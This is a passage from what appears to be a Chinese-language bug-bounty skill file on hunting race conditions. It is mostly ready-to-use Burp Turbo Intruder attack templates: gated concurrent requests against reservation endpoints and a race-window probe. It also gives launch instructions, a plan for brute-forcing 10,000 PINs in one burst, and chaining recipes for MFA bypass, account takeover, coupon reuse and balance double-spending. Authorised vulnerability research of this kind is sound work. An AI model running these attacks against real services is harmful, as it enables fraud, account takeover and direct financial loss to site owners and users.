interesting = True # Mark the rate-limit boundary
table.add(req)
模板 5:顺序门控竞态(延迟窗口 / 多步骤)
# turbo_sequential_gates.py
# Use against: Deferred race windows (action creates a temporary state
# that must be raced before cleanup), multi-step flows
# Strategy: Gate 1 opens N actions. Gate 2 opens M consuming actions.
# Both fire in the same TCP write.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
engine=Engine.BURP2,
)
# Gate 1: Create the resource
create_req = b'POST /api/create-reservation HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"item_id\": \"LIMITED_ITEM\", \"qty\": 1}'
# Gate 2: Claim the resource (must arrive before cleanup)
claim_req = b'POST /api/claim-reservation HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"reservation_id\": \"RACE_ID\"}'
for i in range(20):
engine.queue(create_req, gate='race1')
for i in range(20):
engine.queue(claim_req, gate='race2')
# Both gates release simultaneously
engine.openGate('race1')
engine.openGate('race2')
engine.complete(timeout=15)
def handleResponse(req, interesting):
table.add(req)
模板 6:竞态窗口测量探针
# turbo_probe_window.py
# Use BEFORE the actual exploit to estimate the race window size.
# Measures response times for serial vs concurrent requests.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=10,
engine=Engine.BURP2,
)
# Single request — baseline
engine.queue(target.req, label='baseline')
# 5 concurrent — test parallelism
for i in range(5):
engine.queue(target.req, label='race_test', gate='probe')
engine.openGate('probe')
engine.complete(timeout=10)
def handleResponse(req, interesting):
table.add(req)
# After run: compare req.time on 'baseline' vs 'race_test' labels.
# If race_test times ≈ baseline, server parallelizes → good for race.
# If race_test times = baseline × count, server serializes → harder race.
使用说明:
- 打开 Burp → Extensions → Turbo Intruder → 将请求发送到 Turbo Intruder
- 将默认脚本替换为上方任一模板
- 根据所需并发数调整
N(范围上限) - 对于 HTTP/2,设置
engine=Engine.BURP2;对于 HTTP/1.1 回退模式,移除该设置 - 点击“Attack” — 在表格窗格中查看结果
- PIN 暴力破解:离线生成所有候选值,并拆分为每批约 50-100 个
- Wireshark 验证:在攻击运行期间执行
sudo tcpdump -i any -w race.pcap port 443
引擎对比:
| 引擎 | 协议 | 竞态窗口 | 使用场景 |
|---|---|---|---|
Engine.BURP2 | HTTP/2 | <1ms(单包) | 默认 — 速度最快、最可靠 |
Engine.HTTP2 | HTTP/2 | ~5-10ms(无末字节同步) | BURP2 不可用时 |
Engine.THREADED | HTTP/1.1 | ~50-200ms | 非 H2 目标的回退方案 |
Engine.LEGACY | HTTP/1.1 | ~100-500ms | 旧版 / 阻塞式后端 |
组合使用 Flatt 首序列同步方案(10,000+ 个请求):
对于 PIN 暴力破解(在 <200ms 内测试 10,000 个候选值):
# Pseudocode — full implementation per Flatt Security research:
# 1. Open N TCP connections (N = fragment count)
# 2. Synchronize TCP SEQ numbers across all connections
# 3. Queue M requests per connection (total = N × M = 10,000)
# 4. Release all final bytes across ALL connections simultaneously
# using kernel-level TCP_COOKIE or IP_MTU_DISCOVER tricks
# 5. Server receives all 10,000 in the same IP-processing window
验证
运行此自测,以确认已准备好查找竞态条件:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-race-condition" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录相关陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均可验证技能结构正确且已准备就绪。
陷阱
- 单线程测试 — 竞态条件需要并行请求。单靠 Curl 无法可靠地演示竞态条件。请使用 Python
asyncio或带有多个线程的 Burp Intruder。 - 没有状态变化的 TOCTOU — 如果无法证明检查与使用之间状态发生了变化,那么检查时与使用时的时序差异仅停留在理论层面。
- 竞态窗口过小 — 如果检查与使用之间的窗口只有微秒级,竞态可能不切实际。报告前先测量窗口。
- 超限竞态 — 优惠券 / 额度 / 取款竞态的影响最大。请使用精确的并行请求进行测试,而非仅快速顺序发送请求。
相关技能与链式利用
hunt-business-logic— 竞态条件是每种业务逻辑状态机中的“并发攻击手段”。链式利用原语:业务逻辑(优惠券/促销)+ 单数据包竞态攻击 → 优惠券被兑换 N 次 → 直接造成经济损失。hunt-mfa-bypass— OTP 过期窗口和重放保护是典型的竞态攻击目标。链式利用原语:竞态 + MFA 验证端点 → 在有效期内并发提交 N 次验证,绕过 OTP 过期限制。hunt-ato— 密码重置、邮箱更改和账户创建中的竞态条件可能导致 ATO 持续生效。链式利用原语:邮箱更改端点存在竞态 + 缺少原子更新 → 替换受害者的邮箱 + 在用户察觉前读取重置令牌。hunt-api-misconfig— 未使用原子 UPDATE 的钱包/余额/信用额度端点可能存在双重支出漏洞。链式利用原语:竞态 + 缺少原子更新 → 余额双重支出 → 提取相当于用户余额 N 倍的金额。security-arsenal— 加载 Turbo Intruder 单数据包模板、用于原子提交的 h2.cl 请求走私,以及curl --next并行多请求模式。triage-validation— 应用统计抽样门槛:单个异常响应只是噪声;报告前,要求提供 1 次成功演示 + N 次重复/超出配额/过期状态演示,并附上响应截图。
阶段 X — 连接预热与数据库隔离
连接预热:在开始竞态攻击前建立 TCP+TLS 连接;使用 curl --parallel 同时发送请求。
最后字节同步:使用 Turbo Intruder 的 engine=Engine.BURP2 在 HTTP/2 上发送单数据包。
数据库隔离:READ COMMITTED 允许 SELECT 和 UPDATE 之间出现幻读——使用 N 个并发的支出/提现请求进行测试。
通过别名并行执行 GraphQL 变更:mutation { a: redeem B: redeem c: redeem } — 绕过顺序执行。